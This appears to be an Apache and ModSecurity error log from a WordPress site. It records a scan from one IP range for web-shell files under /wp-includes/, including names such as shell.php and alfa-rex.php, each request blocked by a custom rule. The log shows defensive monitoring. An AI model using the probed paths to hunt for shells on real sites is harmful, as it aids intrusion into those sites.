[Sun Apr 19 02:45:30.234443 2026] [:error] [pid 32167:tid 32238] [client 45.137.126.94:43321] [client 45.137.126.94] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/SimplePie/login.php"] [unique_id "aePRSkyD4Jm27Mb3NJiX2AAAAI0"]
[Sun Apr 19 02:45:35.193293 2026] [:error] [pid 32167:tid 32244] [client 45.137.126.73:45121] [client 45.137.126.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/sitemaps/chosen.php"] [unique_id "aePRT0yD4Jm27Mb3NJiX_QAAAJM"]
[Sun Apr 19 02:45:41.063768 2026] [:error] [pid 32252:tid 32275] [client 45.137.126.77:22369] [client 45.137.126.77] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/SimplePie/Cache/index.php"] [unique_id "aePRVeXl4Yc-Lt5fJ9is9wAAARU"]
[Sun Apr 19 02:45:42.083961 2026] [:error] [pid 41277:tid 41280] [client 45.137.126.57:52697] [client 45.137.126.57] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/dist/about.php"] [unique_id "aePRVkH3ayszMLZYflsG6AAAAYE"]
[Sun Apr 19 02:45:45.317630 2026] [:error] [pid 32167:tid 32227] [client 45.137.126.82:65419] [client 45.137.126.82] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/customize/about.php"] [unique_id "aePRWUyD4Jm27Mb3NJiYIQAAAII"]
[Sun Apr 19 02:45:46.338125 2026] [:error] [pid 32166:tid 32204] [client 45.137.126.90:56117] [client 45.137.126.90] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/simi.php"] [unique_id "aePRWpCHNkWwdiZnafLX6QAAAEY"]
[Sun Apr 19 02:45:51.150552 2026] [:error] [pid 32167:tid 32242] [client 45.137.126.105:32315] [client 45.137.126.105] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Requests/Text/index.php"] [unique_id "aePRX0yD4Jm27Mb3NJiYSgAAAJE"]
[Sun Apr 19 02:45:53.354410 2026] [:error] [pid 33517:tid 33522] [client 45.137.126.70:57887] [client 45.137.126.70] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/sitemaps/abcd.php"] [unique_id "aePRYX4Zz-rubR1wiZ-8RgAAAMM"]
[Sun Apr 19 02:45:54.376602 2026] [:error] [pid 32167:tid 32233] [client 45.137.126.62:37815] [client 45.137.126.62] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/ID3/rk2.php"] [unique_id "aePRYkyD4Jm27Mb3NJiYWAAAAIg"]
[Sun Apr 19 02:45:55.394213 2026] [:error] [pid 32166:tid 32198] [client 45.137.126.79:26411] [client 45.137.126.79] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/widgets/class-wp-widget-search-interpreter.php"] [unique_id "aePRY5CHNkWwdiZnafLX8AAAAEA"]
[Sun Apr 19 02:46:00.224814 2026] [:error] [pid 32167:tid 32229] [client 45.137.126.57:58261] [client 45.137.126.57] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/block-template-utils-other.php"] [unique_id "aePRaEyD4Jm27Mb3NJiYZAAAAIQ"]
[Sun Apr 19 02:46:05.192296 2026] [:error] [pid 60910:tid 60912] [client 45.137.126.74:34729] [client 45.137.126.74] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/sodium_compat/lib/widget-group.php"] [unique_id "aePRbXFWunkyacYqsD1NwgAAAUA"]
[Sun Apr 19 02:46:08.429435 2026] [:error] [pid 41277:tid 41284] [client 45.137.126.74:64185] [client 45.137.126.74] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/jcrop/about.php"] [unique_id "aePRcEH3ayszMLZYflsHAAAAAYU"]
[Sun Apr 19 02:46:09.462846 2026] [proxy_fcgi:error] [pid 60910:tid 60923] [client 45.137.126.80:25791] AH01071: Got error 'PHP message: PHP Fatal error:  Uncaught Error: Call to undefined function get_locale() in /home/rcacivils/public_html/wp-admin/includes/admin.php:16\nStack trace:\n#0 {main}\n  thrown in /home/rcacivils/public_html/wp-admin/includes/admin.php on line 16'
[Sun Apr 19 02:46:10.483291 2026] [:error] [pid 32165:tid 32193] [client 45.137.126.100:50047] [client 45.137.126.100] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/customize/chosen.php"] [unique_id "aePRcqe2vKwEk_N0BrYAYgAAABg"]
[Sun Apr 19 02:46:21.230638 2026] [:error] [pid 41277:tid 41288] [client 45.137.126.68:27071] [client 45.137.126.68] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/plugin.php"] [unique_id "aePRfUH3ayszMLZYflsHFgAAAYk"]
[Sun Apr 19 02:46:22.254586 2026] [:error] [pid 32252:tid 32262] [client 45.137.126.84:50901] [client 45.137.126.84] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/class-wp-scripts-query.php"] [unique_id "aePRfuXl4Yc-Lt5fJ9itPwAAAQg"]
[Sun Apr 19 02:46:27.112284 2026] [:error] [pid 41277:tid 41297] [client 45.137.126.100:62875] [client 45.137.126.100] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/ID3/module.audio-license.php"] [unique_id "aePRg0H3ayszMLZYflsHIQAAAZI"]
[Sun Apr 19 02:46:34.599721 2026] [:error] [pid 32167:tid 32245] [client 45.137.126.99:29679] [client 45.137.126.99] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/class-wp-error-module.php"] [unique_id "aePRikyD4Jm27Mb3NJiYpQAAAJQ"]
[Sun Apr 19 02:46:39.412876 2026] [:error] [pid 32252:tid 32254] [client 45.137.126.82:31137] [client 45.137.126.82] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/litespeed.php"] [unique_id "aePRj-Xl4Yc-Lt5fJ9itZAAAAQA"]
[Sun Apr 19 02:46:43.604832 2026] [:error] [pid 32167:tid 32245] [client 45.137.126.66:28675] [client 45.137.126.66] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/dist/alam.php"] [unique_id "aePRk0yD4Jm27Mb3NJiYuAAAAJQ"]
[Sun Apr 19 02:46:46.867430 2026] [:error] [pid 41277:tid 41293] [client 45.137.126.70:45805] [client 45.137.126.70] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/block-bindings/imagess.php"] [unique_id "aePRlkH3ayszMLZYflsHNwAAAY4"]
[Sun Apr 19 02:46:50.095016 2026] [:error] [pid 32167:tid 32226] [client 45.137.126.69:64701] [client 45.137.126.69] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/default-filters-edit.php"] [unique_id "aePRmkyD4Jm27Mb3NJiYxQAAAIE"]
[Sun Apr 19 02:46:57.978808 2026] [:error] [pid 32167:tid 32230] [client 45.137.126.65:53357] [client 45.137.126.65] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Requests/Auth/index.php"] [unique_id "aePRoUyD4Jm27Mb3NJiY9QAAAIU"]
[Sun Apr 19 02:47:04.256464 2026] [:error] [pid 33517:tid 33537] [client 45.137.126.67:27513] [client 45.137.126.67] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Text/Diff/Engine/theme.php"] [unique_id "aePRqH4Zz-rubR1wiZ-8aAAAANI"]
[Sun Apr 19 02:47:05.312473 2026] [proxy_fcgi:error] [pid 32252:tid 32254] [client 45.137.126.84:38981] AH01071: Got error 'Primary script unknown'
[Sun Apr 19 02:47:05.822334 2026] [:error] [pid 32252:tid 32273] [client 45.137.126.84:38981] [client 45.137.126.84] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/ID3/shell.php"] [unique_id "aePRqeXl4Yc-Lt5fJ9itggAAARM"]
[Sun Apr 19 02:47:06.847666 2026] [:error] [pid 32252:tid 32274] [client 45.137.126.63:52009] [client 45.137.126.63] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/customize/class-wp-customize-selective-refresh-library.php"] [unique_id "aePRquXl4Yc-Lt5fJ9ithwAAARQ"]
[Sun Apr 19 02:47:11.725978 2026] [:error] [pid 60910:tid 60923] [client 45.137.126.79:43161] [client 45.137.126.79] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Requests/library/wp-login.php"] [unique_id "aePRr3FWunkyacYqsD1ORgAAAUs"]
[Sun Apr 19 02:47:12.759111 2026] [:error] [pid 32165:tid 32181] [client 45.137.126.72:41633] [client 45.137.126.72] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/interactivity-api/about.php"] [unique_id "aePRsKe2vKwEk_N0BrYAhQAAAAw"]
[Sun Apr 19 02:47:23.345625 2026] [:error] [pid 41277:tid 41288] [client 45.137.126.75:24351] [client 45.137.126.75] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/wp-2019.php"] [unique_id "aePRu0H3ayszMLZYflsHYgAAAYk"]
[Sun Apr 19 02:47:24.381159 2026] [:error] [pid 32165:tid 32180] [client 45.137.126.95:25231] [client 45.137.126.95] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/SimplePie/info.php"] [unique_id "aePRvKe2vKwEk_N0BrYAkwAAAAs"]
[Sun Apr 19 02:47:27.682481 2026] [:error] [pid 32166:tid 32212] [client 45.137.126.67:40233] [client 45.137.126.67] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/log.php"] [unique_id "aePRv5CHNkWwdiZnafLYSQAAAE4"]
[Sun Apr 19 02:47:28.721385 2026] [:error] [pid 32167:tid 32236] [client 45.137.126.91:59101] [client 45.137.126.91] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/assets/script-loader-react-refresh-runtime-num.php"] [unique_id "aePRwEyD4Jm27Mb3NJiZOgAAAIs"]
[Sun Apr 19 02:47:29.742584 2026] [:error] [pid 32167:tid 32228] [client 45.137.126.81:55369] [client 45.137.126.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/assets/script-loader-react-refresh-entry.min-object.php"] [unique_id "aePRwUyD4Jm27Mb3NJiZQQAAAIM"]
[Sun Apr 19 02:47:30.792970 2026] [:error] [pid 33517:tid 33536] [client 45.137.126.80:26581] [client 45.137.126.80] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/aw.php"] [unique_id "aePRwn4Zz-rubR1wiZ-8dAAAANE"]
[Sun Apr 19 02:47:39.378700 2026] [:error] [pid 41277:tid 41296] [client 45.137.126.101:60135] [client 45.137.126.101] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/IXR/db.php"] [unique_id "aePRy0H3ayszMLZYflsHbwAAAZE"]
[Sun Apr 19 02:47:40.413357 2026] [:error] [pid 32252:tid 32266] [client 45.137.126.72:59919] [client 45.137.126.72] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/install.php"] [unique_id "aePRzOXl4Yc-Lt5fJ9itqAAAAQw"]
[Sun Apr 19 02:47:44.848841 2026] [:error] [pid 33517:tid 33521] [client 45.137.126.103:27305] [client 45.137.126.103] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/dist/install.php"] [unique_id "aePR0H4Zz-rubR1wiZ-8gAAAAMI"]
[Sun Apr 19 02:47:45.873071 2026] [:error] [pid 33517:tid 33543] [client 45.137.126.96:57173] [client 45.137.126.96] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/style-engine/dedi1.php"] [unique_id "aePR0X4Zz-rubR1wiZ-8gQAAANg"]
[Sun Apr 19 02:47:50.637820 2026] [:error] [pid 32166:tid 32222] [client 45.137.126.71:23023] [client 45.137.126.71] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/template-less.php"] [unique_id "aePR1pCHNkWwdiZnafLYVgAAAFg"]
[Sun Apr 19 02:47:51.653501 2026] [:error] [pid 60910:tid 60923] [client 45.137.126.105:42619] [client 45.137.126.105] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/pomo/alfa-rex.php"] [unique_id "aePR13FWunkyacYqsD1OXwAAAUs"]
[Sun Apr 19 02:48:04.270333 2026] [:error] [pid 60910:tid 60917] [client 45.137.126.100:24013] [client 45.137.126.100] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/assets/min.php"] [unique_id "aePR5HFWunkyacYqsD1OfwAAAUU"]
[Sun Apr 19 02:48:05.297299 2026] [:error] [pid 60910:tid 60923] [client 45.137.126.86:42029] [client 45.137.126.86] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/wp-conflg.php"] [unique_id "aePR5XFWunkyacYqsD1OhAAAAUs"]
[Sun Apr 19 02:48:10.132509 2026] [:error] [pid 32166:tid 32217] [client 45.137.126.65:20083] [client 45.137.126.65] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/file.php"] [unique_id "aePR6pCHNkWwdiZnafLYXwAAAFM"]
[Sun Apr 19 02:48:13.363833 2026] [:error] [pid 41277:tid 41298] [client 45.137.126.81:20289] [client 45.137.126.81] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/block-patterns/about.php"] [unique_id "aePR7UH3ayszMLZYflsHjgAAAZM"]
[Sun Apr 19 02:48:16.628493 2026] [:error] [pid 60910:tid 60917] [client 45.137.126.83:61981] [client 45.137.126.83] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/load.php"] [unique_id "aePR8HFWunkyacYqsD1OkgAAAUU"]
[Sun Apr 19 02:48:17.666803 2026] [:error] [pid 41277:tid 41284] [client 45.137.126.65:38281] [client 45.137.126.65] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/ID3/chosen.php"] [unique_id "aePR8UH3ayszMLZYflsHkQAAAYU"]
[Sun Apr 19 02:48:18.685975 2026] [:error] [pid 32166:tid 32206] [client 45.137.126.88:31335] [client 45.137.126.88] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/class-wp-theme-float.php"] [unique_id "aePR8pCHNkWwdiZnafLYYQAAAEg"]
[Sun Apr 19 02:48:24.899849 2026] [:error] [pid 32165:tid 32177] [client 45.137.126.97:23467] [client 45.137.126.97] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/widgets/wp-style.php"] [unique_id "aePR-Ke2vKwEk_N0BrYAvwAAAAg"]
[Sun Apr 19 02:48:28.125447 2026] [:error] [pid 32165:tid 32193] [client 45.137.126.98:46497] [client 45.137.126.98] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/widgets/autoload_classmap.php"] [unique_id "aePR_Ke2vKwEk_N0BrYAwgAAABg"]
[Sun Apr 19 02:48:33.103683 2026] [:error] [pid 32252:tid 32267] [client 45.137.126.68:59555] [client 45.137.126.68] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/block-bindings/admin.php"] [unique_id "aePSAeXl4Yc-Lt5fJ9itzQAAAQ0"]
[Sun Apr 19 02:48:34.186793 2026] [:error] [pid 60910:tid 60912] [client 45.137.126.99:43027] [client 45.137.126.99] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/PHPMailer/autoload_classmap.php"] [unique_id "aePSAnFWunkyacYqsD1OqAAAAUA"]
